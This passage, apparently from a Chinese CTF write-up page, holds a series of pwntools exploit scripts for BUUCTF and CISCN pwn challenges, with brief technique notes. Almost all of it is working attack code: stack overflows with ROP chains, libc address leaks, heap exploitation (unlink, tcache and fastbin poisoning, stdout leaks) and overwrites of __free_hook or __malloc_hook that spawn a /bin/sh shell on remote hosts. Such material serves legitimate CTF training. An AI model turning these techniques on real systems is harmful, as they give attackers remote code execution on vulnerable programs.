	payload += "aaaabaaac\x00aadaaaeaaafaaagaaahayyyyyyyyyyyyyyyyyyyyyyyyyyy" + p64(0x400E9E)
	sh.sendline(payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("127.0.0.1",9999,1)

0x55 ciscn_2019_n_5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_n_5")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_n_5")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	pop_rdi_ret = elf.search(asm("pop rdi\nret")).next()
	pop_rsi_r15_ret = elf.search(asm("pop rsi\npop r15\nret")).next()
	sh.sendlineafter("name",'111')
	offset = 40
	payload  = offset * "a"
	payload += p64(pop_rdi_ret) + p64(elf.got['__libc_start_main']) + p64(elf.plt['puts']) + p64(elf.symbols['main'])
	sh.sendlineafter("?",payload)
	__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	sh.sendlineafter("name",'111')
	offset = 40
	payload  = offset * "a"
	payload += p64(pop_rdi_ret) + p64(binsh) + p64(system)
	sh.sendlineafter("?",payload)
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	log.success("__malloc_hook: " + hex(__malloc_hook))
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20141,0)

0x56 ciscn_2019_s_1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_s_1")
sh = 0
lib = 0
def add(idx,size,content):
	sh.sendlineafter("4.show\n",'1')
	sh.sendlineafter("index:",str(idx))
	sh.sendlineafter("size:",str(size))
	sh.recvuntil("gift: ")
	data = int(sh.recvuntil("\n",True),16)
	sh.sendafter("content:",content)
	log.success("idx=" + str(idx) + " | address=" + hex(data))
	return data
def edit(idx,content):
	sh.sendlineafter("4.show\n",'3')
	sh.sendlineafter(":",str(idx))
	sh.sendafter(":",content)

def free(idx):
	sh.sendlineafter("4.show\n",'2')
	sh.sendlineafter(":",str(idx))

def show(idx):
	sh.sendlineafter("4.show\n",'4')
	sh.sendlineafter("index:",str(idx))


def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_s_1")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/x64_libc.so.6")
	chunk_list = 0x6020E0
	chunk_size = 0x602060
	key2 = 0x6022B8
	key1 = 0x6022BC
	payload  = p64(0) + p64(0xF1)
	payload += p64(chunk_list - 0x18) + p64(chunk_list - 0x10)
	payload  = payload.ljust(0xF0,'a')
	payload += p64(0xF0)	
	add(0,0xF8,payload)
	add(1,0xF8,'\n')
	add(2,0xF8,'\n')
	add(3,0xF8,'\n')
	add(4,0xF8,'\n')
	add(5,0xF8,'\n')
	add(6,0xF8,'\n')
	payload  = ''
	payload  = payload.ljust(0xF0,'a')
	payload += p64(0x100 * 5 - 0x10)
	edit(4,payload)
	free(5)
	add(7,0xE8,'\n')
	add(8,0xF8,'\n')
	add(9,0xF8,'\n')
	add(10,0xF8,'\n')
	add(11,0xF8,'\n')
	add(12,0xF8,'\n')
	free(8)
	edit(1,p64(0) + p64(key2 - 0x10))
	add(13,0xF8,'\n')
	edit(0,p64(0) * 3 + p64(chunk_list) + p64(elf.got['__libc_start_main']))
	show(1)
	__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))	
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	edit(0,p64(chunk_list) + p64(__free_hook) + p64(binsh))
	edit(1,p64(system))
	free(2)
	log.success("libc: " + hex(libc))
	log.success("system: " + hex(system))
	log.success("binsh: " + hex(binsh))
	log.success("__free_hook: " + hex(__free_hook))
	sh.interactive()
if __name__ == "__main__":
	pwn("pwn.buuoj.cn",20152,0)

0x57 fl0ppy_codegate_2016

经过黑盒测试，发现strcpy的漏洞，然后多次黑盒测试发现leak了libc和stack_addr，然后通过strcpy实现栈溢出，然后在main函数执行完毕时，进行栈迁移，迁移到rop处，从而执行system("/bin/sh\x00")

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("fl0ppy_codegate_2016")
sh = 0
lib = 0
def choose(idx):
	sh.sendlineafter("5. Exit","1")
	sh.sendlineafter("Which floppy do you want to use? 1 or 2?",str(idx))
def write(content1,content2):
	sh.sendlineafter(">","2")
	sh.sendafter(":",content1)
	sh.sendafter(":",content2)
def read():
	sh.sendlineafter(">","3")
def modify(mode,content):
	sh.sendlineafter(">","4")
	sh.sendlineafter("Which one do you want to modify? 1 Description | 2 Data",str(mode))
	sh.sendlineafter(":",content)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./fl0ppy_codegate_2016")
		lib = ELF("/lib/i386-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.27.so")
        choose(2)
        write('a','a' * 0xa)
        modify(1,'a' * 0xa)
        choose(1)
        write("\x11","\x12")
        modify(1,'\x12' * 0x20)
        choose(1)
        read()
        sh.recvuntil("\x12" * 16)
        ebp = u32(sh.recv(4)) + 8
        sh.recvuntil("\x12" * 12)
        libc = u32(sh.recv(4))- 241 - lib.symbols['__libc_start_main']
        system = libc + lib.symbols['system']
        binsh = libc + lib.search("/bin/sh\x00").next()
        payload = ''
        payload = p32(system) + p32(0xdeadbeef) + p32(binsh)
        payload = payload.ljust(20,'a')
        payload += p32(ebp + 4)
        payload = payload.ljust(37,'a')
        modify(1,payload)
        log.success("binsh: " + hex(binsh))
        log.success("system: " + hex(system))
        log.success("libc: " + hex(libc))
        log.success("ebp: " + hex(ebp))
        if(debug == 1):
            log.success("pid: " + str(sh.pid))
        sh.sendline("5")
	sh.interactive()
if __name__ == "__main__":
    pwn("node3.buuoj.cn",28869,0)

0x58 nsctf_online_2019_pwn1

覆盖__malloc_hook为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn2")
sh = 0
lib = 0
def add(size,content):
	sh.recvuntil("5.exit")
	sh.sendline("1")
	sh.recvuntil("Input the size:")
	sh.sendline(str(size))
	sh.recvuntil("Input the content:")
	sh.send(content)
def free(idx):
	sh.recvuntil("5.exit")
	sh.sendline("2")
	sh.recvuntil("Input the index:")
	sh.sendline(str(idx))
def edit(idx,size,content):
	sh.recvuntil("5.exit")
	sh.sendline("4")
	sh.recvuntil("Input the index:")
	sh.sendline(str(idx))
	sh.recvuntil("Input size:")
	sh.sendline(str(size))
	sh.recvuntil("Input new content:")
	sh.send(content)
def show(idx):
	sh.recvuntil("5.exit")
	sh.sendline("3")
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./pwn2")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
		main_arena_offset = lib.symbols['__malloc_hook'] + 0x10
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23.so")
		main_arena_offset = lib.symbols['__malloc_hook'] + 0x10
	payload = p64(0xfbad1880)+p64(0x0)*3+'\x00'
	edit(-16,0x28,payload)
	sh.recvuntil(24*'\x00')
	libc = u64(sh.recv(8)) - lib.symbols['_IO_file_jumps']
	log.success("libc_base -> "+hex(libc))
	main_arena = libc + main_arena_offset
	one_gadget = libc + 0xf1147
	log.success("main_arena: " + hex(main_arena))
	add(0xF8,"\x11" * 0xE8)
	add(0x68,"\x22" * 0x58)
	add(0x18,"\x33" * 0x8)
	add(0xF8,"\x44" * 0xE8)
	add(0x18,"\x55" * 0x10)
	free(0)
	edit(2,0x18,'\x00' * 0x10 + p64(0x190))
	free(3)
	payload  = "a"*0xF0 + p64(0) + p64(0x71)
	payload += '\x66' * (0x68 - 0x8)
	payload += p64(0) + p64(0x21)
	payload += '\x77' * 0x18
	add(0x270,"a"*0x100)
	edit(0,len(payload),payload)
	free(1)
	payload  = "a"*0xF0 + p64(0) + p64(0x71)
	payload += p64(main_arena - 0x1b-8) + p64(main_arena -0x1b-8)
	edit(0,len(payload),payload)
	add(0x60,"aaaaaaaaa")
	add(0x60,"\x00" * 3 + p64(one_gadget))
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28275,0)

0x59 nsctf_online_2019_pwn2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("pwn1")
sh = 0
lib = 0
def add(size):
	sh.recvuntil("6.exit")
	sh.sendline("1")
	sh.recvuntil("Input the size")
	sh.sendline(str(size))
def free():
	sh.recvuntil("6.exit")
	sh.sendline("2")
def show():
	sh.recvuntil("6.exit")
	sh.sendline("3")
def edit(content):
	sh.recvuntil("6.exit")
	sh.sendline("5")
	sh.recvuntil("Input the note")
	sh.send(content)
def editName(name):
	sh.recvuntil("6.exit")
	sh.sendline("4")
	sh.recvuntil("Please input your name")
	sh.send(name)
def init(name):
	sh.recvuntil("Please input your name")
	sh.send(name)
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./pwn1")
		lib = ELF("libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23.so")
	init("a"*0x30)
	add(0x80)
	add(0x18)
	editName("a"*0x30 + "\x10")
	free()
	add(0x18)
	editName("a"*0x30 + "\x30")
	show()
	sh.recvuntil("\n")
	main_arena = u64(sh.recvuntil("\n",True).ljust(8,"\x00")) - 88 
	libc = main_arena - 0x10 - lib.symbols['__malloc_hook']
	system = libc + lib.symbols['system']
	unsorted_bin_attack_addr = libc + 0x3C6768
	fastbin_attack_addr = unsorted_bin_attack_addr + 0x18 - 0x1b + 0x10
	add(0x10)
	free()
	add(0x68)
	free()
	add(0x30)
	free()
	add(0x90)
	add(0x20)
	editName("a" * 0x30 + "\x30")
	free()
	add(0x50)
	editName("a" * 0x30 + "\x90")
	edit('a' * 8 + p64(unsorted_bin_attack_addr))
	add(0x30)
	add(0x68)
	add(0x10)	
	editName("a" * 0x30 + "\xc0")
	free()
	add(0x40)
	editName("a" * 0x30 + "\xc0")
	edit(p64(fastbin_attack_addr))
	add(0x68)
	add(0x68)
	payload = "sh\x00"
	payload = payload.ljust(0x30 - 5 - 8,"\x00")
	edit(payload + p64(system))
	free()
	log.success("fastbin_attack_addr: " + hex(fastbin_attack_addr))
	log.success("unsorted_bin_attack_addr: " + hex(unsorted_bin_attack_addr))
	log.success("main_arena: " + hex(main_arena))
	log.success("libc: " + hex(libc))
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28672,0)

0x60 ciscn_2019_sw_5

Ubuntu 18.04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_sw_5")
sh = 0
lib = 0
def add(title,content):
	sh.recvuntil(">> ")
	sh.sendline("1")
	sh.recvuntil("title:")
	sh.send(title)
	sh.recvuntil("content:")
	sh.send(content)
def free(idx):
	sh.recvuntil(">> ")
	sh.sendline("2")
	sh.recvuntil("index:")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_sw_5")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)		
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/libc-2.27.so")
	chunk_offset = 0x202040
	add('\x11' * 8,'\x12' * 0x68)
	add('\x21' * 8,'\x22' * 0x68)
	free(0)
	free(0)
	add('\x80','\n')
	heap_base = u64(sh.recvuntil("\x20\n",True)[-6:].ljust(8,"\x00")) - 0x280
	add(p64(heap_base + 0x20),p64(heap_base + 0x20) * 5)
	add(p64(heap_base + 0x20),p64(heap_base + 0x20) * 5)
	payload  = ('\xf9' * 0x8) * 6
	payload += p64(0x250 - 0x50 + 1) + p64(0) * 4 + p64(heap_base + 0x60)
	add('\xaa' * 0x8,payload)
	payload = p64(0) * 3 + p64(heap_base + 0x60)
	add(p64(0),payload)
	free(6)
	payload = p64(0) * 3 + p64(heap_base + 0x60)
	add('\n',payload)
	libc = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x30 - lib.symbols['__malloc_hook'] - 0xa
	__malloc_hook = libc + lib.symbols['__malloc_hook']
	payload = p64(0) * 3 + p64(__malloc_hook)
	add(p64(0),payload)
	one_gadget = [0x4f2c5,0x4f322,0x10a38c]
	add(p64(libc + one_gadget[1]),'\n')
	sh.recvuntil(">> ")
	sh.sendline("1")
	log.success("libc: " + hex(libc))
	log.success("__malloc_hook: " + hex(__malloc_hook))
	log.success("heap_base: " + hex(heap_base))
	if debug == 1:
		log.success("pid = " + str(sh.pid))
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28938,0)

0x61 ciscn_nw_2

Ubuntu 18.04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_nw_2")
sh = 0
lib = 0
def add(title,content):
	sh.recvuntil(">> ")
	sh.sendline("1")
	sh.recvuntil("title:")
	sh.send(title)
	sh.recvuntil("content:")
	sh.send(content)
def free(idx):
	sh.recvuntil(">> ")
	sh.sendline("2")
	sh.recvuntil("index:")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_nw_2")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)		
		lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/libc-2.27.so")
	chunk_offset = 0x202040
	add('\x11' * 8,'\x12' * 0x68)
	add('\x21' * 8,'\x22' * 0x68)
	free(0)
	free(0)
	add('\x80','\n')
	heap_base = u64(sh.recvuntil("\x20\n",True)[-6:].ljust(8,"\x00")) - 0x280
	add(p64(heap_base + 0x20),p64(heap_base + 0x20) * 5)
	add(p64(heap_base + 0x20),p64(heap_base + 0x20) * 5)
	payload  = ('\xf9' * 0x8) * 6
	payload += p64(0x250 - 0x50 + 1) + p64(0) * 4 + p64(heap_base + 0x60)
	add('\xaa' * 0x8,payload)
	payload = p64(0) * 3 + p64(heap_base + 0x60)
	add(p64(0),payload)
	free(6)
	payload = p64(0) * 3 + p64(heap_base + 0x60)
	add('\n',payload)
	libc = u64(sh.recvuntil('\x7f')[-6:].ljust(8,'\x00')) + 0x30 - lib.symbols['__malloc_hook'] - 0xa
	__malloc_hook = libc + lib.symbols['__malloc_hook']
	payload = p64(0) * 3 + p64(__malloc_hook)
	add(p64(0),payload)
	one_gadget = [0x4f2c5,0x4f322,0x10a38c]
	add(p64(libc + one_gadget[1]),'\n')
	sh.recvuntil(">> ")
	sh.sendline("1")
	if debug == 1:
		log.success("pid = " + str(sh.pid))
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28979,0)

0x62 ciscn_2019_en_1

标准的arm pwn rop，很适合新手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.binary = "ciscn_2019_en_1"
elf = ELF("ciscn_2019_en_1")
sh = 0
lib = 0
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_en_1")
		lib = ELF("libc-2.23.so")
	else:
		sh = remote(ip,port)
		lib = ELF("libc-2.23.so")
	pop_r3_pc = 0x000103a4
	pop_r4_pc = 0x000104f8
	pop_r4_2_r10_pc_ret = 0x00010638
	printf_got = 0x00021010
	offset = 36
	fmt = 0x00010660
	call_gadget = 0x0001061C
	payload = offset * 'a'
	payload += p32(pop_r4_2_r10_pc_ret)
	payload += p32(0)#r4
	payload += p32(printf_got)#r5
	payload += p32(0)#r6
	payload += p32(fmt)#r7
	payload += p32(printf_got)#r8
	payload += p32(0)#r9
	payload += p32(0)#r10
	payload += p32(call_gadget)
	payload += p32(0x00010590)*10
	sh.sendafter(":",payload)
	sh.recvuntil("hello")
	sh.recvuntil("hello ")
	printf = u32(sh.recv(4))
	libc_r0_ret = 0x0010dc84
	libc = printf - lib.symbols['printf']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	payload = offset * 'a'
	payload += p32(libc + libc_r0_ret) + p32(binsh) + p32(system)
	sh.sendafter(":",payload)
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28562,0)

0x63 ciscn_2019_n_2

Ubuntu 18.04

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_n_2")
sh = 0
lib = 0
def addUser(name,age):
	sh.recvuntil("Your choice: ")
	sh.sendline("1")
	sh.recvuntil("name:")
	sh.send(name)
	sh.recvuntil("age:")
	sh.send(str(age))
	sh.recvuntil("idx: ")
	return int(sh.recv(1),10)
def deleteUser(idx):
	sh.recvuntil("Your choice: ")
	sh.sendline("2")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
def editUser(idx,name,age):
	sh.recvuntil("Your choice: ")
	sh.sendline("3")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
	sh.recvuntil("name:")
	sh.send(name)
	sh.recvuntil("age:")
	sh.send(str(age))
def addMoney(idx):
	sh.recvuntil("Your choice: ")
	sh.sendline("5")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
def buyGift(idx,addr,size):
	sh.recvuntil("Your choice: ")
	sh.sendline("6")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
	sh.recvuntil("input the address you want to leak:")
	sh.sendline(hex(addr))
	sh.recvuntil("input the size you want to leak:")
	sh.sendline(str(size))
def showUser(idx):
	sh.recvuntil("Your choice: ")
	sh.sendline("4")
	sh.recvuntil("Index:")
	sh.sendline(str(idx))
def pwn(ip,port,debug):
	global sh
	global lib
	if(debug == 1):
		sh = process("./ciscn_2019_n_2")
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	else:
		sh = remote(ip,port)
		lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
	chunk_list = 0x602060
	heap_base = 0x603000
	addUser('\x11' * 8,0x10)
	deleteUser(0)
	deleteUser(0)
	addUser(p64(chunk_list),heap_base)
	addUser(p64(chunk_list),heap_base)
	addUser(p64(0x602070 + 8),0x603250)
	buyGift(0,elf.got['__libc_start_main'],8)
	__libc_start_main = u64(sh.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
	libc = __libc_start_main - lib.symbols['__libc_start_main']
	system = libc +lib.symbols['system']
	binsh = libc +lib.search("/bin/sh\x00").next()
	__free_hook = libc +lib.symbols['__free_hook']
	__malloc_hook = libc +lib.symbols['__malloc_hook']
	editUser(2,p64(binsh),__free_hook)
	editUser(1,p64(system),1)
	deleteUser(0)
	sh.interactive()
if __name__ == "__main__":
	pwn("node2.buuoj.cn.wetolink.com",28334,0)

0x64 TWCTF_online_2019_asterisk_alloc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.binary = "TWCTF_online_2019_asterisk_alloc"
elf = ELF("TWCTF_online_2019_asterisk_alloc")
sh = 0
lib = 0
def malloc(size,content):
    sh.sendlineafter("Your choice: ","1")
    sh.sendlineafter("Size:",str(size))
    sh.sendafter("Data:",content)
def calloc(size,content):
    sh.sendlineafter("Your choice: ","2")
    sh.sendlineafter("Size:",str(size))
    sh.sendafter("Data:",content)
def realloc(size,content):
    sh.sendlineafter("Your choice: ","3")
    sh.sendlineafter("Size:",str(size))
    sh.sendafter("Data:",content)
def free(index):
    sh.sendlineafter("Your choice:","4")
    sh.sendlineafter("Which: ",str(index))
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./TWCTF_online_2019_asterisk_alloc")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/home/pig/Pig/CTF/BUUCTF/BUUCTF_libc/libc-2.27.so")
    realloc(0x88,'\n')
    realloc(0,'')
    realloc(0x68,'\n')
    realloc(0,'')
    realloc(0x88,'aaaaaaa')
    offset = lib.symbols['_IO_2_1_stdout_'] % 0x10000
    for i in range(7):
        free("r")
    realloc(0,'')
    realloc(0x58,p16(offset))
    calloc(0x28,'/bin/sh\x00')
    malloc(0x88,p16(offset))
    realloc(0,'')
    realloc(0x88,p64(0xfbad1800) + p64(0) * 3 + "\x00")
    sh.recvuntil(p64(0xfbad1800) + p64(0) * 3)
    libc = u64(sh.recv(8)) - lib.symbols['_IO_2_1_stdout_'] + 0x60
    __free_hook = libc + lib.symbols['__free_hook']
    system = libc + lib.symbols['system']
    free("m")
    realloc(-1,'')
    realloc(0x58,p64(__free_hook))
    realloc(-1,'')
    realloc(0x58,p64(__free_hook))
    realloc(-1,'')
    realloc(0x58,p64(system))
    free("c")
    sh.interactive()
if __name__ == "__main__":
    pwn("node2.buuoj.cn.wetolink.com",28993,0)

0x65 other_babystack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# -*- coding: utf-8 -*-
# Author xynm
#import xynm_pwn_util
import sys
import os
from time import *
from pwn import *
#log_level['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = b"CRITICAL"
binary_file      = b'babystack'
remote_libc_file = b'libc-2.23.so'
remote_ip        = b'node3.buuoj.cn'
local_libc_file  = b'/lib/x86_64-linux-gnu/libc.so.6'
remote_port      = 28676
context.binary   = binary_file
context.terminal = [b'tmux', b'sp', b'-h']
def exploit(sh,awd = False):
        def debug(gdb_script):
                gdb.attach(sh,gdb_script)
        global binary_file,remote_libc_file,remote_ip,remote_port
        elf = context.binary
        if(remote == True):
                lib = ELF(remote_libc_file) if remote_libc_file != b'' else ""
        else:
                lib = elf.libc if local_libc_file == b"" else ELF(local_libc_file)
        if context.arch == b"amd64":
                pop_rdi_ret = elf.search(asm(b"pop rdi ; ret")).next()
                pop_rsi_r15_ret = elf.search(asm(b"pop rsi ; pop r15 ; ret")).next()
        elif context.arch == b"i386":
                pop_ebp_ret = elf.search(asm(b"pop ebp ; ret")).next()
                pop3_ret    = elf.search(asm(b"pop esi ; pop edi ; pop ebp ; ret")).next()
        s       = lambda data               :sh.send(str(data))
        sa      = lambda delim,data         :sh.sendafter(str(delim), str(data))
        sl      = lambda data               :sh.sendline(str(data))
        sla     = lambda delim,data         :sh.sendlineafter(str(delim), str(data))
        r       = lambda numb=4096          :sh.recv(numb)
        ru      = lambda delims, drop=True  :sh.recvuntil(delims, drop)
        irt     = lambda                    :sh.interactive()
        uu32    = lambda data               :u32(data.ljust(4, b'\x00'))
        uu64    = lambda data               :u64(data.ljust(8, b'\x00'))
        ru7f    = lambda                    :u64(sh.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
        ruf7    = lambda                    :u32(sh.recvuntil("\xf7")[-4:].ljust(4,b'\x00'))
        lg      = lambda data               :log.success(data)
        sla(">>","1")
        s('a' * (0x88 + 1))
        sla(">>","2")
        ru(0x88 * "a")
        canary = uu64(r(8))
        canary -= 0x61
        sla(">>","1")
        payload = 'a' * 0x88
        payload += p64(canary)
        payload += 'a' * 0x8
        payload += p64(pop_rdi_ret)
        payload += p64(elf.got['__libc_start_main'])
        payload += p64(elf.plt['puts'])
        payload += p64(0x0000000000400908)
        s(payload)
        sla(">>","3")
        __libc_start_main = ru7f()
        libc = __libc_start_main - lib.symbols[b'__libc_start_main']
        lib.address = libc
        system = lib.symbols[b'system']
        binsh = lib.search(b"/bin/sh\x00").next()
        __free_hook = lib.symbols[b'__free_hook']
        __malloc_hook = lib.symbols[b'__malloc_hook']
        __realloc_hook = lib.symbols[b'__realloc_hook']
        one_gadget = []
        sla(">>","1")
        payload = 'a' * 0x88
        payload += p64(canary)
        payload += 'a' * 0x8
        payload += p64(pop_rdi_ret)
        payload += p64(binsh)
        payload += p64(system)
        s(payload)
        sla(">>","3")

        if awd != True:
                irt()
if __name__ == b"__main__":
        exploit(remote(remote_ip,remote_port),remote = True)

0x66 ciscn_2019_es_5

0堆块和realloc函数之间的冲突导致double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python2.7  
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
elf = ELF("ciscn_2019_es_5")
lib = 0
sh = 0
def add(size,content):
    sh.sendlineafter("Your choice:","1")
    sh.sendlineafter(">",str(size))
    if(size != 0):
        sh.sendafter(":",content)
def edit(idx,content):
    sh.sendlineafter("Your choice:","2")
    sh.sendlineafter(":",str(idx))
    if(content != ''):
        sh.sendafter(":",content)
def free(idx):
    sh.sendlineafter("Your choice:","4")
    sh.sendlineafter(":",str(idx))
def show(idx):
    sh.sendlineafter("Your choice:","3")
    sh.sendlineafter(":",str(idx))
def pwn(ip,port,debug):
    global sh
    global lib
    if(debug == 1):
        sh = process("./ciscn_2019_es_5")
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    else:
        sh = remote(ip,port)
        lib = ELF("/lib/x86_64-linux-gnu/libc.so.6")
    add(0x0,'')
    add(0xb0,'\n')
    edit(0,'')
    free(0)
    add(0x18,'a')
    show(0)
    sh.recvuntil("Content: ")
    heap_base = (u64(sh.recvuntil("\n",True).ljust(8,'\x00')) >> 12) << 12
    edit(0,p64(heap_base + 0xa0))
    add(0x18,p64(heap_base + 0x10))
    payload = p64(0xfcfcfcfcfcfcfcfc) * 8 + p64(0) * ((0xb0 - 0x58) / 8) + p64(heap_base+0x10)
    add(0xb0,payload)
    free(1)
    add(0x0,'')
    show(1)
    libc = u64(sh.recvuntil("\x7f",False)[-6:].ljust(8,'\x00')) - 96 - lib.symbols['__malloc_hook'] - 0xc0
    __free_hook = libc + lib.symbols['__free_hook']
    system = libc + lib.symbols['system']
    payload = p64(0xfcfcfcfcfcfcfcfc) * 8 + p64(0) * ((0xb0 - 0x58) / 8) + p64(__free_hook) + p64(__free_hook + 8)
    add(0xc0,payload)
